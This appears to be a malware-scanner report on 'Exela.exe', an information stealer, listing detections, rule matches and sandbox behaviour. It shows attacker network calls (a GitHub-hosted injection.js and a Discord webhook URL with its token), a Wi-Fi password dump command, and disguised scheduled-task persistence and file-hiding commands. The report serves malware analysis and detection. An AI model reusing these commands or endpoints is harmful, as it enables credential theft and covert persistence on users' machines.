45 / 71

Community Score

45/71 security vendors flagged this file as malicious

Reanalyze Similar More

d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72…

Exela.exe

Size 140.50 KB

Last Analysis Date 1 year ago

EXE

peexe assembly detect-debug-environment checks-network-adapters checks-bios clipboard calls-wmi long-sleeps

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 5

Display grouped sandbox reports

C2AE	0	0	0	0	0	2
CAPA	0	6	0	0	0	0
Microsoft …	0	0	0	0	15	2
VirusTotal…	0	0	1	0	1	8
VirusTotal…	0	0	0	0	0	3
Zenbox	6	9	3	19	12	8

Activity Summary

Download Artifacts Full Reports Help

6 Detections

1 MALWARE 1 STEALER 1 SPREADER 1 PHISHING 1 TROJAN 1 EVADER

Mitre Signatures

32 LOW 81 INFO

IDS Rules

1 MEDIUM 2 LOW

Sigma Rules

1 CRITICAL 3 HIGH 6 MEDIUM 9 LOW

Dropped Files

16 OTHER 1 PE_EXE 1 TEXT 1 ZIP

Network comms

5 HTTP 3 DNS 7 IP 2 JA3

Behavior Tags

calls-wmi checks-bios checks-network-adapters clipboard detect-debug-environment long-sleeps

Dynamic Analysis Sandbox Detections

The sandbox Zenbox flags this file as: MALWARE STEALER SPREADER PHISHING TROJAN EVADER

MITRE ATT&CK Tactics and Techniques

- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Defense Evasion TA0005
- Credential Access TA0006
- Discovery TA0007
- Collection TA0009

Capabilities

Open in CAPA explorer

- Host-Interaction
- Data-Manipulation
- Runtime
- Collection
- Persistence
- Anti-Analysis
- Executable

Crowdsourced Sigma Rules

CRITICAL 1 HIGH 3 MEDIUM 6 LOW 9

Matches rule Capture Wi-Fi password by Joe Security at Joe Security Rule Set (GitHub)
Capture Wi-Fi password

Matches rule Suspicious Schtasks From Env Var Folder by Florian Roth (Nextron Systems) at Sigma Integrated Rule Set (GitHub)
Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware

Matches rule Suspicious Manipulation Of Default Accounts Via Net.EXE by Nasreddine Bencherchali (Nextron Systems) at Sigma Integrated Rule Set (GitHub)
Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc

Matches rule Set Suspicious Files as System Files Using Attrib.EXE by Nasreddine Bencherchali (Nextron Systems) at Sigma Integrated Rule Set (GitHub)
Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs

Matches rule Potential System Information Discovery Via Wmic.EXE by TropChaud at Sigma Integrated Rule Set (GitHub)
Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.

Matches rule Suspicious DNS Query for IP Lookup Service APIs by Brandon George (blog post), Thomas Patzke at Sigma Integrated Rule Set (GitHub)
Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.

See all

Crowdsourced IDS rules

Matches rule ET POLICY External IP Lookup ip-api.com at Proofpoint Emerging Threats Open
Device Retrieving External IP Address Detected

Matches rule ET INFO Observed Discord Domain (discord .com in TLS SNI) at Proofpoint Emerging Threats Open
Misc activity

Matches rule ET INFO Observed Discord Domain in DNS Lookup (discord .com) at Proofpoint Emerging Threats Open
Misc activity

Network Communication

HTTP Requests

GET https://raw.githubusercontent.com:443/quicaxd/Exela-V2.0/main/injection/injection.js 200

POST https://discord.com:443/api/webhooks/1153713217621737493/neE-Phdp7ICMDho-GPim6q5RtMYHbGzksMdWzZdj4wcMcjRTiY_Cyi2GXW-8G7_BL1p9 404

CONNECT http://ip-api.com/json

GET http://ip-api.com/json

+ raw.githubusercontent.com
+ discord.com

IP Traffic

- TCP 20.99.184.37:443
- TCP 192.229.211.108:80
- UDP 8.8.8.8:53
- TCP 208.95.112.1:80 (ip-api.com)
- TCP 185.199.108.133:443 (raw.githubusercontent.com)
- TCP 185.199.111.133:443 (raw.githubusercontent.com)
- TCP 162.159.136.232:443 (discord.com)

JA3 Digests

- 456b10b855457b4b20999cf140b1a2f7
- 3b5074b1b5d032e5620f69f9f700ff0e

Memory Pattern Domains

- costco.com
- discord.com
- i.instagram.com
- target.scene7.com
- www.target.com

Memory Pattern Urls

- http://costco.com/Welcome
- http://discord.com
- http://www.target.com/
- http://www.target.com/Target
- https://discord.com/api/v
- https://i.instagram.com/api/v1/accounts/current_user/?edit=true/
- https://target.scene7.com/is/image/TaLRSq
- https://target.scene7.com/is/image/Target//GUEST_37d39f2f-b27a-4f68-9db4-7d5cfd07d653
- https://target.scene7.com/is/image/Target//GUEST_42f7bc42-2d59-403a-b9f7-ea79f8a2f77e
- https://target.scene7.com/is/image/Target//GUEST_5610160a-d2c4-4ed0-94ba-c2d4679d6694

TLS

+ discord.com
+ raw.githubusercontent.com

Behavior Similarity Hashes

C2AE	8b0e5287360ab2ec563e555956a4c4a1
CAPA	16712f053369171f05989c71516f72b3
Microsoft Sysinternals	24be5f5029d5626dc67f1c32a598582f
VirusTotal Jujubox	5b229208b3d9567e0af17e77e18d7c67
VirusTotal Observer	efc6d966df9e43d955a387f04345826b
Zenbox	328bc98224c282905b1dbfbac31e04c7

File system actions

Files Opened

C:\Users\

C:\Users\<USER>\AppData\Local
C:\Users\<USER>\AppData\Local\
C:\Users\<USER>\AppData\Local\Exela
C:\Users\<USER>\AppData\Local\Exela\Exela.exe
C:\Users\<USER>\AppData\Roaming

Files Written

C:\Users\<USER>\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
C:\Users\<USER>\AppData\Local\Temp\l3hemuw4.xvh.psm1
C:\Users\<USER>\AppData\Local\Temp\twbd504n.4xn.ps1
C:\Users\<USER>\AppData\Local\Exela\Exela.exe
C:\Windows\System32\Tasks\AutoUpdateCheckerHourly
C:\Windows\System32\Tasks\AutoUpdateCheckerOnLogon
C:\Users\user\AppData\Local\Exela
C:\Users\user\AppData\Local\Exela\Exela.exe
C:\Users\user\AppData\Local\Exela\Exela.exe:Zone.Identifier
C:\Users\user\AppData\Local\Exela\Exela.exe\:Zone.Identifier:$DATA

Files Deleted

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A3A.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B34.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B73.tmp.txt
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D48.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D58.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D69.tmp.txt
C:\Windows\System32\spp\store\2.0\cache\cache.dat
C:\Users\<USER>\AppData\Local\Temp\l3hemuw4.xvh.psm1
C:\Users\<USER>\AppData\Local\Temp\twbd504n.4xn.ps1
C:\Users\user\AppData\Local\Temp\45801542-7238-63BD-EAB0-E8A5A000080E

Files Copied

C:\Users\<USER>\Downloads\Exela.exe

Files Dropped

%USERPROFILE%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Exela.exe.log
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A3A.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A3A.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B34.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B34.tmp.csv
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B73.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1B73.tmp.txt
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D48.tmp
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D48.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D58.tmp

Registry actions

HKEY_CLASSES_ROOT\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32\0x0
HKEY_CLASSES_ROOT\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\0x0
HKEY_CLASSES_ROOT\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\InprocServer32\0x0
HKEY_CLASSES_ROOT\PROTOCOLS\Name-Space Handler
HKEY_CLASSES_ROOT\PROTOCOLS\Name-Space Handler*
HKEY_CLASSES_ROOT\PROTOCOLS\Name-Space Handler\file
HKEY_CURRENT_USER\Control Panel\International

Registry Keys Set

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{00BF83C6-89B2-40B6-B22E-C3C9B52B16DB}\DynamicInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{00BF83C6-89B2-40B6-B22E-C3C9B52B16DB}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{00BF83C6-89B2-40B6-B22E-C3C9B52B16DB}\Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{00BF83C6-89B2-40B6-B22E-C3C9B52B16DB}\Triggers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A110BE15-D230-4322-A7EB-411E792E48F7}\DynamicInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A110BE15-D230-4322-A7EB-411E792E48F7}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A110BE15-D230-4322-A7EB-411E792E48F7}\Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A110BE15-D230-4322-A7EB-411E792E48F7}\Triggers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\AutoUpdateCheckerHourly\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\AutoUpdateCheckerHourly\Index

Process and service actions

Processes Created

%SAMPLEPATH%\Exela.exe
C:\Windows\SysWOW64\wbem\WMIC.exe
C:\Windows\System32\wuapihost.exe
C:\Windows\system32\net1 user
attrib +h +s C:\Users\<USER>\AppData\Local\Exela
attrib +h +s C:\Users\<USER>\AppData\Local\Exela\Exela.exe
cmd.exe
hostname
net user
netsh wlan show profiles

Shell Commands

"attrib" +h +s "%LOCALAPPDATA%\Exela"
"cmd.exe"
"netsh" wlan show profiles
"powershell.exe"
"wusa.exe"
"schtasks" /create /f /sc hourly /mo 1 /rl highest /tn "AutoUpdateCheckerHourly" /tr "%LOCALAPPDATA%\Exela\Exela.exe"

- %windir%\system32\net1 localgroup
- %windir%\system32\net1 localgroup administrators

Processes Terminated

- "attrib" +h +s "%LOCALAPPDATA%\Exela"
- "cmd.exe"
- "netsh" wlan show profiles
- "powershell.exe"
- "pwsh.exe"
- "schtasks" /create /f /sc hourly /mo 1 /rl highest /tn "AutoUpdateCheckerHourly" /tr "%LOCALAPPDATA%\Exela\Exela.exe"
- "wmic" path win32_VideoController get name
- %CONHOST% "-1065314514-261789944126350844540461766-1393515258-1532882214-1465924651-1355587496
- %CONHOST% "-171593431920431199 8-329693322173582951016594393781958026316317847313-1824006951
- %CONHOST% "-1944622284-173268493-1945699331178006 1248-4701178931918719482 1557366346-1340415463

Services Opened

- NapAgent
- policyagent

Processes Tree

- 2232 - %windir%\System32\svchost.exe -k WerSvcGroup
- 3004 - %CONHOST% "76537728-1882522921106061345 0-835826975256344707314536917-435312017917669512
- 2900 - %CONHOST% "-171593431920431199 8-329693322173582951016594393781958026316317847313-1824006951
- 2932 - %CONHOST% "342923444-1458694640-112639279768307 8094-13746943441929771699108784571273033 2814
- 3032 - %CONHOST% "-351707970-171956102862194095 7-2006421151-317834169596220893-653659537-1806571018
- 3024 - %CONHOST% "-79466158-628367615-1084298415-1992600440878154702-882148880-10292161961633811187
- 2944 - %CONHOST% "-1944622284-173268493-1945699331178006 1248-4701178931918719482 1557366346-1340415463
- 2764 - %CONHOST% "1230573609-1432409918-1190615241773686556-1518307499106580 5613-1730002571-1995455930
- 2080 - %CONHOST% "29941400225788572-629176459160772 0635-5129831311177490948-384161331-515282636
- 2716 - %CONHOST% "-1065314514-261789944126350844540461766-1393515258-1532882214-1465924651-1355587496

Synchronization mechanisms & Signals

Mutexes Created

- Exela Stealer
- Global\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7
- \Sessions\1\BaseNamedObjects\Exela Stealer
- \Sessions\1\BaseNamedObjects\Global\RasPbFile

Modules loaded

Runtime Modules

- C:\Windows\SysWOW64\vbscript.dll
- C:\Windows\SysWOW64\wbem\wmiutils.dll
- ADVAPI32.dll
- API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL
- API-MS-WIN-Service-Management-L1-1-0.dll
- API-MS-WIN-Service-Management-L2-1-0.dll
- API-MS-WIN-Service-winsvc-L1-1-0.dll
- API-MS-Win-Core-LocalRegistry-L1-1-0.dll

Highlighted actions

Calls Highlighted

- ExecQueryWmi
- GetAdaptersAddresses
- GetSystemMetrics
- GetTickCount
- IsDebuggerPresent
- Sleep

Highlighted Text

- "Exela.exe"

Dataset actions

System Property Lookups

- SELECT Manufacturer FROM Win32_ComputerSystem
- SELECT Manufacturer FROM Win32_ComputerSystemProduct
- select * from Win32_ComputerSystemProduct
- IWbemServices::Connect
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Keyboard
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_OperatingSystem
- IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PageFileUsage